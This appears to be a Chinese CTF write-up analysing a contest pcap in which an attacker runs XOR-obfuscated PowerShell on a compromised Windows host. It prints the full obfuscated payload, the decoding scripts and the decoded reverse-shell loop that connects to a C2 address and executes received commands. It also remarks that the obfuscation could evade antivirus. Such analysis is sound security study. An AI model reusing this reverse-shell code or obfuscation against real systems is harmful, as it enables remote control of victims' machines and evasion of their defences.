文章总结： 本文详细分析了第二届全国网络安全行业职业技能大赛的misc题目，通过Wireshark分析pcap流量包，发现黑客使用多层XOR加密的PowerShell命令进行通信。作者编写解密脚本成功解密两层加密，最终获取C2地址192.168.93.129:12345，但不确定flag的具体格式。文章展示了CTF比赛中流量分析与解密技术的实际应用，对网络安全从业者具有参考价值。
综合评分： 85
文章分类： CTF,WEB安全,渗透测试
讨论一下《第二届全国网络安全行业职业技能大赛》的misc题
赛查查
2025年12月5日 09:00
北京
以下文章来源于NoCrackme
，作者Print
NoCrackme
.
路漫漫其修远兮………
前言
作为一个臭保安，在站岗时间收到了一份的“大礼包”，那就是第二届全国网络安全行业职业技能大赛的misc题目，作为一名尽职尽责的保安同志，肯定不能掉下马甲，必须研究一下。
解题思路
题目描述
某员工反馈计算机疑似被控制，安全人员截取了当时的流量包。请分析提供的pcap流量包，找出黑客传播的关键信息。
开局起手就是一个pcap流量包，熟悉的问题。
那么必须掏经典神器Wireshark，打开流量包
查看一段时间，在其中发现几个行为。如下：
查看当前用户：userlen-8nq83ei\administrator
查看当前路径：C:\phpstudy_pro\WWW\work\uploadfile
power加密流量，推测flag在其中
流量包当中的加密数据可以简化成如下模样
-JOIN(): 将数组元素拼接成字符串,再度简化如下
cmd=echo "长字符串" | pOWersHeLL "IeX(IEx($INPUT))" & eXIT
那么详细运行流程如下:
cmd=echo "iEX(-JOIN((117,36,123,123)|%{[CHaR](`$_-BXoR 0x51)}));eXIt" | pOWersHeLL "IeX(IEx($INPUT))"&eXIT
上述代码解释如下：cmd.exe 解析整个命令行
echo "iEX(-JOIN((117,36,123,123)|%{[CHaR](`$_-BXoR 0x51)}));eXIt"
pOWersHeLL "IeX(IEx($INPUT))" #启动新的PowerShell进程 $INPUT= 接收到的echo输出字符串
即pOWersHeLL "IeX(IEx(echo "iEX(-JOIN((117,...,...,123)|%{[CHaR](`$_-BXoR 0x51)}));eXIt))"
echo “iEX(-JOIN((117,36,123,123)|%{[CHaR](`$_-BXoR 0x51)}));作用如下：
原始: iEX(-JOIN((117,36,123,123)|%{[CHaR](`$_-BXoR 0x51)}))
↓ 数字数组遍历(117,...,...,123) 每个数字
↓ XOR解密 + 字符转换['$', 'U', '*', '*']
↓ JOIN拼接"$U**"
↓ Invoke-Expression执行执行代码: $U**
pOWersHeLL “IeX(IEx($INPUT))”命令解释如下：
#IeX和 IEx都是 Invoke-Expression函数的简写，作用是将字符串当作 PowerShell 命令执行
即
echo输出 → 管道 → $INPUT → IEx($INPUT) → XOR解密 → IeX(解密结果) → 最终执行
现在开始写解密脚本，第一个解密逻辑是xor
# 1. 原始加密命令（完整复制，确保无截断）$encryptedCmd = 'iEX(-JOIN((117,36,7,11,35,23,108,10,2,40,2,5,52,28,127,19,40,5,20,10,12,12,107,107,18,3,20,48,5,52,24,31,2,37,16,31,50,20,121,10,2,40,34,37,20,28,127,19,8,5,52,12,125,96,97,99,101,120,106,117,21,41,20,16,26,108,121,10,18,30,31,7,52,3,37,12,107,107,55,3,62,28,51,16,34,20,103,101,2,5,35,56,31,22,121,115,60,57,21,34,50,1,101,22,32,43,36,43,41,11,2,26,41,96,43,96,38,27,8,18,25,27,63,20,58,22,34,101,52,21,27,27,6,33,40,2,28,31,34,108,115,120,120,106,117,41,58,1,35,37,108,115,102,103,101,104,99,53,96,96,96,103,102,101,98,55,97,101,99,98,101,96,98,51,96,103,97,100,97,48,100,98,101,100,28,54,19,105,16,20,101,16,3,16,19,9,16,25,8,16,50,16,16,35,16,25,20,16,50,38,19,19,16,22,8,16,0,54,16,101,16,20,24,16,8,38,19,35,16,20,62,16,4,54,19,29,16,23,16,16,50,54,16,99,16,22,50,16,1,0,16,104,16,25,38,16,28,54,16,40,16,21,58,16,8,0,16,43,16,21,54,16,31,16,19,58,16,21,4,16,11,54,16,96,16,21,58,16,31,16,16,97,16,21,24,16,11,0,19,57,16,21,54,16,31,38,19,60,16,21,50,16,31,38,19,58,16,21,8,16,28,0,16,41,16,22,24,16,28,0,16,40,16,21,4,16,28,16,16,40,16,21,4,16,31,0,16,38,16,22,24,16,31,16,19,58,16,21,8,16,30,16,16,41,16,22,4,16,30,16,16,96,16,21,58,16,28,0,19,59,16,21,58,16,28,16,19,60,16,21,58,16,30,0,19,60,16,21,20,16,8,54,16,97,16,22,20,16,8,54,16,96,16,21,28,16,28,16,16,97,16,21,8,16,30,0,16,98,16,21,28,16,30,16,16,100,16,21,58,16,31,38,19,57,16,21,28,16,31,0,16,101,16,21,24,16,31,16,19,60,16,21,24,16,11,0,16,38,16,21,28,16,28,38,16,98,16,22,20,16,8,38,19,61,16,21,16,16,30,0,16,99,16,21,24,16,30,0,19,56,16,22,24,16,8,54,16,41,16,21,20,16,28,54,19,56,16,22,28,16,31,0,19,56,16,22,20,16,28,16,16,99,16,21,8,16,8,0,19,57,16,22,4,16,31,0,16,100,16,21,50,16,8,0,16,41,16,21,4,16,8,0,16,38,16,22,20,16,28,38,19,61,16,22,28,16,8,54,19,57,16,21,8,16,11,16,16,40,16,22,0,16,8,0,16,43,16,21,54,16,8,54,16,100,16,22,0,16,30,16,16,98,16,21,20,16,30,16,16,96,16,21,28,16,28,38,19,61,16,21,0,16,11,54,16,96,16,22,0,16,8,38,16,97,16,22,0,16,31,16,19,57,16,21,28,16,8,0,16,99,16,21,20,16,31,38,16,99,16,21,50,16,11,0,19,59,16,21,24,16,8,38,16,100,16,21,20,16,31,0,19,60,16,21,54,16,28,16,16,98,16,22,28,16,28,54,19,60,16,22,28,16,30,0,16,43,16,21,54,16,8,54,16,41,16,22,8,16,28,38,16,41,16,22,4,16,8,38,19,59,16,22,20,16,30,0,19,59,16,22,8,16,31,54,16,41,16,22,4,16,31,54,19,61,16,22,28,16,31,38,19,56,16,21,50,16,28,16,16,100,16,22,4,16,28,54,16,101,16,22,28,16,11,0,16,38,16,21,4,16,30,16,16,41,16,21,54,16,31,0,16,96,16,22,24,16,8,0,19,58,16,22,0,16,8,0,19,61,16,21,24,16,31,54,19,59,16,21,8,16,28,54,16,96,16,21,24,16,28,0,19,58,16,21,20,16,28,0,16,100,16,21,4,16,28,16,19,57,16,22,0,16,8,54,19,58,16,22,28,16,8,0,16,99,16,22,4,16,31,54,19,58,16,21,50,16,28,38,16,96,16,22,24,16,11,16,19,61,16,22,20,16,31,54,16,101,16,22,28,16,28,0,16,100,16,21,50,16,11,16,16,41,16,22,4,16,11,0,16,108,115,106,117,53,7,59,25,57,108,56,20,9,121,10,2,40,2,5,20,28,127,3,4,31,5,24,28,52,127,24,63,5,20,35,62,1,2,52,35,7,56,50,52,34,127,28,16,3,2,57,48,61,12,107,107,1,5,35,37,62,34,5,3,56,31,54,16,4,37,30,121,10,34,8,2,5,20,28,127,3,4,31,37,56,28,52,127,24,63,37,20,3,62,33,34,20,3,39,24,50,52,2,127,28,48,3,2,25,48,61,12,107,107,34,52,50,36,35,52,34,5,35,56,63,22,37,30,19,2,37,35,121,121,117,41,58,1,35,37,45,18,30,31,7,20,3,37,37,62,124,34,52,50,4,35,20,34,37,35,24,31,54,113,124,26,52,40,113,117,21,41,20,16,26,120,120,120,120,106,38,25,56,61,52,121,117,55,57,19,27,1,108,117,53,7,59,25,57,127,54,20,37,34,37,3,52,16,28,121,120,120,42,106,38,57,56,29,20,121,117,55,57,19,27,1,127,53,48,5,48,16,39,48,24,29,16,19,29,20,113,124,30,35,113,117,4,38,54,52,8,113,124,20,0,113,117,36,7,11,35,23,127,18,62,36,31,37,120,42,106,117,4,38,54,52,8,108,117,55,57,19,27,1,127,3,52,48,53,121,117,36,7,11,35,23,125,97,125,117,36,7,11,35,23,127,61,52,63,22,5,57,120,106,117,57,23,9,5,21,122,108,121,31,20,6,124,30,51,27,52,50,37,113,124,5,8,33,20,63,48,60,20,113,34,40,34,5,20,60,127,5,52,9,37,127,16,34,18,24,56,20,63,50,62,53,24,31,54,120,127,54,52,37,2,37,35,24,31,22,121,117,36,7,11,35,23,125,97,125,117,4,38,54,52,8,120,44,106,24,55,121,117,57,23,9,5,21,120,42,106,117,26,23,8,29,39,108,121,24,52,9,121,117,57,23,9,5,21,120,99,111,119,96,45,30,36,5,124,2,37,35,56,63,54,120,106,56,55,121,112,121,117,26,23,8,29,39,127,29,20,63,22,5,25,116,117,36,7,11,35,23,127,50,30,4,63,37,120,120,42,106,117,26,23,8,29,39,122,108,115,113,115,44,106,117,36,28,23,4,26,108,121,10,5,20,9,5,127,20,63,50,30,21,24,31,54,12,107,107,16,34,18,24,24,120,127,54,52,5,51,40,5,52,34,121,117,26,23,8,29,39,120,106,117,55,57,19,27,1,127,38,35,24,37,52,121,117,36,28,23,4,26,125,97,125,117,36,28,23,4,26,127,61,52,31,54,37,57,120,106,117,55,57,19,27,1,127,23,29,4,2,57,121,120,106,117,57,23,9,5,21,108,117,31,36,61,61,44,44)|%{[CHaR](`$_-BXoR 0x51)}));eXIt';
# 2. 提取数字数组（正则匹配括号内的所有数字）$numArrayMatch = [regex]::Match($encryptedCmd, '\(([\d,]+)\)');if (-not $numArrayMatch.Success) { Write-Error "未成功提取到加密数字数组，请检查原始命令是否完整！" exit 1}# 将提取的数字字符串转为整数数组$numStrings = $numArrayMatch.Groups[1].Value -split ',';$numArray = $numStrings | ForEach-Object { if ([int]::TryParse($_, [ref]$null)) { [int]$_ } else { Write-Error "无效数字: $_"; exit 1 }};
# 3. 核心解密：异或运算（XOR 0x51）→ 转换为ASCII字符 → 拼接$decryptedChars = $numArray | ForEach-Object { [char]($_ -BXoR 0x51) # 每个数字与81（0x51）异或后转字符};$decryptedScript = -join $decryptedChars; # 拼接所有字符得到原始脚本
# 4. 输出解密结果（绿色提示，青色显示脚本内容）Write-Host "`n=== 解密完成！原始执行脚本如下 ===" -ForegroundColor Green;Write-Host $decryptedScript -ForegroundColor Cyan;
# 5. 保存结果到桌面（避免路径权限问题）$outputPath = [Environment]::GetFolderPath('Desktop') + "\decrypted_script.txt";$decryptedScript | Out-File -FilePath $outputPath -Encoding UTF8 -Force;Write-Host "`n=== 解密结果已保存到：$outputPath ===" -ForegroundColor Green;
运行后得到如下的一段代码
$uVZrF=[SySTeM.ByTE[]]::CREaTeINStANcE([SystEM.BYTe],1024);$DxEAK=([CONVeRt]::fRoMbAsE64STriNG("mhDscP4GqzuzxZSKx1z1wJYCHJnEkGs4eDJJWpySMNs="));$xkPrt="76492d1116743f0423413b16050a5345MgB8AE4ARABXAHYAcAArAHEAcwBBAGYAQgA4AEIAYwBrAEoAUgBLAFAAcgA2AGcAPQA9AHwAMgAyADkAYQAzADgANABkADUAZgA1ADkANAA0ADIAZQBhADgANwBmADcANwBkADYAMQAxAGIAMQAyADUAMAAyADUANQAwAGIANABkADYAOAAxAGUAOAA1ADkAMQBjADkAMABmADkAOQBmADEAYgA0AGEAYgA1ADMAMAA0ADYAOQA3ADMAOAA5ADkANwBhADMANQA4ADIANABmADIAZQAwADMAMwA3AGEAYwBlADAAOQA2ADIAOQBiAGIAYgAxADEAMgBiAGMANQBiAGEAMAA2ADYAYQBhAGUANQA5ADcAYQAxADUAYQAwAGEAMwBlAGMAYgBhADYAZAAyAGQAYQAzADgAYgA5AGQAOAA3ADEAOAA1ADMAMwBlADQAZgA1AGQAYwA0AGQANABhADMAYQA2ADEANwA2ADcAZQBjADIAYwA5ADEANQBmADgAMAA3AGMAMgBmAGMAOQAzADgAYgAxAGYAMwAxAGUAYwBjAGEAOQBjAGYANgAxAGUANgBlAGMANwBiADcAMAA5AGUAMgA4AGMAZQAwADUAOAAxADgANQA1AGIAYQBkAGQAYQBlADIANgBjADYAMgA1ADIAMQBkADEAMQA5ADUAMABhAGQAYgBkAGMAYQA2AGUANgBkADcAMwA1AGIAZABlAGEANgA4AGMAMQA5ADcAZAAxAGUAZQA=";$dVjHh=iEX([SySTEM.RUNTIMe.InTEroPSerVices.MARShal]::PTrtosTRiNgAUtO([sYSTEM.RUNtiMe.IntERopsERvIceS.MaRSHal]::securesTrinGtOBStr(($xkPrt|CONVERtto-secUrEstrINg -Key $DxEAK))));wHile($fhBJP=$dVjHh.gEtstReAM()){;whiLE($fhBJP.daTaAvaILABLE -Or $UwgeY -EQ $uVZrF.CouNt){;$UwgeY=$fhBJP.Read($uVZrF,0,$uVZrF.lenGTh);$hFXTD+=(NEW-ObJect -TYpEnamE sysTEm.TeXt.AsCIiEncodINg).getStrING($uVZrF,0,$UwgeY)};If($hFXTD){;$KFYLv=(IeX($hFXTD)2>&1|OuT-String);if(!($KFYLv.LEnGTH%$uVZrF.cOUnt)){;$KFYLv+=" "};$uMFUK=([TEXT.EncODINg]::AsCII).geTbyTes($KFYLv);$fhBJP.wrIte($uMFUK,0,$uMFUK.leNgth);$fhBJP.FLUSh();$hFXTD=$Null}}
该代码解释如下：
初始化缓冲区$uVZrF=[SySTeM.ByTE[]]::CREaTeINStANcE([SystEM.BYTe],1024);
定义解密密钥（Base64 解码）$DxEAK=([CONVeRt]::fRoMbAsE64STriNG("mhDscP4GqzuzxZSKx1z1wJYCHJnEkGs4eDJJWpySMNs="));
定义加密的核心数据$xkPrt="76492d1116743f0423413b16050a5345MgB8AE4ARABXAHYAcAArAHEAcwBBAGYAQgA4AEIAYwBrAEoAUgBLAFAAcgA2AGcAPQA9AHwAMgAyADkAYQAzADgANABkADUAZgA1ADkANAA0ADIAZQBhADgANwBmADcANwBkADYAMQAxAGIAMQAyADUAMAAyADUANQAwAGIANABkADYAOAAxAGUAOAA1ADkAMQBjADkAMABmADkAOQBmADEAYgA0AGEAYgA1ADMAMAA0ADYAOQA3ADMAOAA5ADkANwBhADMANQA4ADIANABmADIAZQAwADMAMwA3AGEAYwBlADAAOQA2ADIAOQBiAGIAYgAxADEAMgBiAGMANQBiAGEAMAA2ADYAYQBhAGUANQA5ADcAYQAxADUAYQAwAGEAMwBlAGMAYgBhADYAZAAyAGQAYQAzADgAYgA5AGQAOAA3ADEAOAA1ADMAMwBlADQAZgA1AGQAYwA0AGQANABhADMAYQA2ADEANwA2ADcAZQBjADIAYwA5ADEANQBmADgAMAA3AGMAMgBmAGMAOQAzADgAYgAxAGYAMwAxAGUAYwBjAGEAOQBjAGYANgAxAGUANgBlAGMANwBiADcAMAA5AGUAMgA4AGMAZQAwADUAOAAxADgANQA1AGIAYQBkAGQAYQBlADIANgBjADYAMgA1ADIAMQBkADEAMQA5ADUAMABhAGQAYgBkAGMAYQA2AGUANgBkADcAMwA1AGIAZABlAGEANgA4AGMAMQA5ADcAZAAxAGUAZQA=";
解密核心数据$dVjHh=iEX([SySTEM.RUNTIMe.InTEroPSerVices.MARShal]::PTrtosTRiNgAUtO([sYSTEM.RUNtiMe.IntERopsERvIceS.MaRSHal]::securesTrinGtOBStr(($xkPrt|CONVERtto-secUrEstrINg -Key $DxEAK))));
iEX执行最终解密后的字符串
根据得到的代码，准备第二个解密脚本
$DxEAK = [Convert]::FromBase64String("mhDscP4GqzuzxZSKx1z1wJYCHJnEkGs4eDJJWpySMNs=")$xkPrt = "76492d1116743f0423413b16050a5345MgB8AE4ARABXAHYAcAArAHEAcwBBAGYAQgA4AEIAYwBrAEoAUgBLAFAAcgA2AGcAPQA9AHwAMgAyADkAYQAzADgANABkADUAZgA1ADkANAA0ADIAZQBhADgANwBmADcANwBkADYAMQAxAGIAMQAyADUAMAAyADUANQAwAGIANABkADYAOAAxAGUAOAA1ADkAMQBjADkAMABmADkAOQBmADEAYgA0AGEAYgA1ADMAMAA0ADYAOQA3ADMAOAA5ADkANwBhADMANQA4ADIANABmADIAZQAwADMAMwA3AGEAYwBlADAAOQA2ADIAOQBiAGIAYgAxADEAMgBiAGMANQBiAGEAMAA2ADYAYQBhAGUANQA5ADcAYQAxADUAYQAwAGEAMwBlAGMAYgBhADYAZAAyAGQAYQAzADgAYgA5AGQAOAA3ADEAOAA1ADMAMwBlADQAZgA1AGQAYwA0AGQANABhADMAYQA2ADEANwA2ADcAZQBjADIAYwA5ADEANQBmADgAMAA3AGMAMgBmAGMAOQAzADgAYgAxAGYAMwAxAGUAYwBjAGEAOQBjAGYANgAxAGUANgBlAGMANwBiADcAMAA5AGUAMgA4AGMAZQAwADUAOAAxADgANQA1AGIAYQBkAGQAYQBlADIANgBjADYAMgA1ADIAMQBkADEAMQA5ADUAMABhAGQAYgBkAGMAYQA2AGUANgBkADcAMwA1AGIAZABlAGEANgA4AGMAMQA5ADcAZAAxAGUAZQA="$secureString = ConvertTo-SecureString $xkPrt -Key $DxEAK$dVjHh = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))Write-Host "解密后的核心载荷：`n$dVjHh"
执行得到C2地址，但是每个机器执行后得到的Ip都不一样。不确定是不是小生的解题思路有问题。
'192.168.93.129',12345
那么flag可能是
md5加密之后的值，也就是flag{4cd6535098bf8f0c2877f86ea5cfaedb}或者是flag{192.168.93.129}或flag{192.168.93.129:12345}
探讨
1、跟好几个朋友谈论一下这个题目，均是无果。希望有CTF牛子看见之后，提供一下正确的解题思路或指出这个wp的错误之处，非常感激
2、第二，这个ctf的混淆似乎可以用来做免杀，保存在本地以及在运行的时候，杀毒软件似乎没有反应。俺不中了，学不会啊根本学不会。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：赛查查 《讨论一下《第二届全国网络安全行业职业技能大赛》的misc题》